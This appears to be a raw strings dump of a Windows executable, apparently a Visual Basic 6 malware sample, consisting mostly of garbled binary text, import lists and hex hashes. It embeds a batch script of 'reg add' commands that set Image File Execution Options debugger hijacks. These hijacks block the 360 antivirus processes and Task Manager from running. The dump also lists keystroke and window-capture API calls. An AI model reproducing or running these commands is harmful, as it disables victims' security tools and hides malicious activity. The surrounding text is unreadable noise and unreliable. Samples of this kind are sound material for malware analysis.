49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
764B151C355885023EAC63AD4EC72A66
A7A45284C021949FCB12F82E84ADE835
E0C667944D08611BAC6BD60DA4B4BB0F
3308E37EB65C4607B66E6EEB5889FFDF
E5D714EB8CEEB6F7B4E5FD24529AD735
104EC85D1E0D2CD742D62377C0EBA714
466F56C49E765D6FCF792C14F504D5A9
87D594AA52DD916B71E104ADD235928B
386FB518756F06BA1AEBDA0B5E6EBF8C
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt 9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]b X
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u 9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YY hPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YY hPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YY hPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YY hPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YY h
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9 t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9 M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
t u$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht<
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht<
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w @
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s 9~(~
j Yj Y+
VWj Y}
Pj Y+3BR0H%
Yj ^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3j Y+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X }qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
I x@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
216E0CC0CE2B89F5744D630BFDA1DBAD
B7E2F86F3BC6F19BD467E1B3C5D0C0C7
4EB232B783B92214BFC1E08897E4C5CE
CE63E9A35A0D2BDAD7B48E3561727A02
B508A6C9059AA00580922CF5BD7754BD
BA9C044EA2FF3E936B67F8AF6A94969B
37EF691EC8CE873FC977FFC2626E5A49
82113C8CC75CAA022DBDE73DEAF63B1F
82711FA4AF9AE9579FAC15CDE8ED0A64
9BC32D3AD026393FA15723C0F6B57F54
61863D861E052492CB945DBDAD4C67F3
CD3A246CDE42E41F281EC5AF3BEFAC44
51F4BBA896807318CD3428DD59F3D1B0
90ABB3C418A151B911312B306D7394D2
0786361F7F8431C36CF98D9F7236C71C
2FC316E5A3CF0BACC8C815C34B511FAA
9CF16186F2111796ACD41CE44F5C4CF3
663B473799ED70DFE9764BFCE9FC333A
2EBAFDC2E80AD6630B43C8BDDF79589F
8419BE08503F4EB9525A28000C700C77
5CC2513DB859EF939BA9DA46FE758E57
4A700285BB7DA4A9480F4234A9B2BA26
77B28852B0D5C3029429A72C7A740A09
0CA5C53E671714DC954A989693DECB31
72E9BA4595334303988DAC561CF4F483
7408E57A355BA4C84F03DC5CEFF7B60B
8C2446B50A55897D911C1C9462F969DD
E2FFB58E5E9D960C84AB3A968C5172EC
DD11FC6BBDC252CC84235DBDA8FE5A8E
115A5040F0229D26B6EE1D18080389C7
B28FE16724FA7148E870B1DB78C075E6
B1C074021BF9B9198931874E3543B355
542718393A3B66D642F759E9B6C511AF
115EB751251FC694ADE22638A3588946
0DD696271565626CCCFC6D84D57CA619
93F9A9818BBA389594D54379AEC97EEB
627CFA73B4B9CC79D0BC4755ABB46C8B
84BDA401D7DFB16F7B8E21D64B185F67
0F4D48F3E425D0281E0F6BF0A242C908
0E7DC75BE814042EE638D738FF47D58C
788606E2FC0051D25C8B3FDABF5545AB
07ABB01629E0C79EB78AE009395911EB
4F0DC4376E47CEB337A2B1FBC4DAFA20
3AA62EEE583C83FCCFA99917691FDFF2
7C4988544E19857988A014A952728E0B
4864B2A5D6222996DF07025B6BB8239E
593FF1077E1D2EFAC995FBDD710A60E4
73808D619752E0A4A441516B85E0D9A8
F93C25F4E9F6F44E58C70AEBE5279FEA
B11EB14DE3F4001E9E92A7CA6B737805
FDE6433136447CB527D2398579EDAF67
0B36EBFB012659E2947810CD9B36314A
9A49676D5B637BDB584C9809AC5E7EF8
5EADA178DC7FC1080435202EAF58FC24
B8B6E53992728878A3AACC8C428680B5
7320B6D41804A978057ED2047512DCF9
0E6C0AFF32B338A608E54F33BA6F8B64
74C7E528CAC7490C93B8884520C6701E
09E63F3F53A9ED519AF74A8DD14CAA5C
B113A644B23F9B06A76366C8A681B174
2F63A5A40578B388DD81DE7F119B10EC
580ECFA46198360A23ABB224E0604A8E
F5F01F8BE9C0407DDE69882E70392957
5341545A53AA611F4A7F17B0C10AD041
A8944996B57CD2C2B15A801BA45EE273
2CEE4FE0C8CBF42544F12BB23F2FDEC9
F9A0622FAB2E67FE152788565D5683B4
E8EC3C0CA9692A9DA7B8FABAC6996D5F
6179F91219659C51DED162CF20300B22
CDEF383CBBDE2F64BFD9E1FC23800BCD
C0532F7219C937A12322F8B4CA76C2A5
E1B092B5DFD3AD41A234802D0D4FFA17
14F619EFDAFADE0A7BF67AC17D2396F7
F385B8A93584436B4AAF466927E55A59
AD8D93A645C955207E1FAC1AC9523D77
40FE02EDD1A99D02A57CBBF8AB46CF3F
1C57F23E081D55A8B796FCB0D7A472C6
B7FFE48B7904142F7095C419442096BC
9BD60A4AB093FE4C6C57F13BD37180A4
6FD5BE841F37ED11C340D6F6FF1DE445
90B9682EEBD5DAB7905CABE5A0228FB1
47330A81332FFBBB2E7247A96976A400
64A36117E3E7D013062E371587948B35
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
7922F4DB6BD4AF02B061CB04F35BE848
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
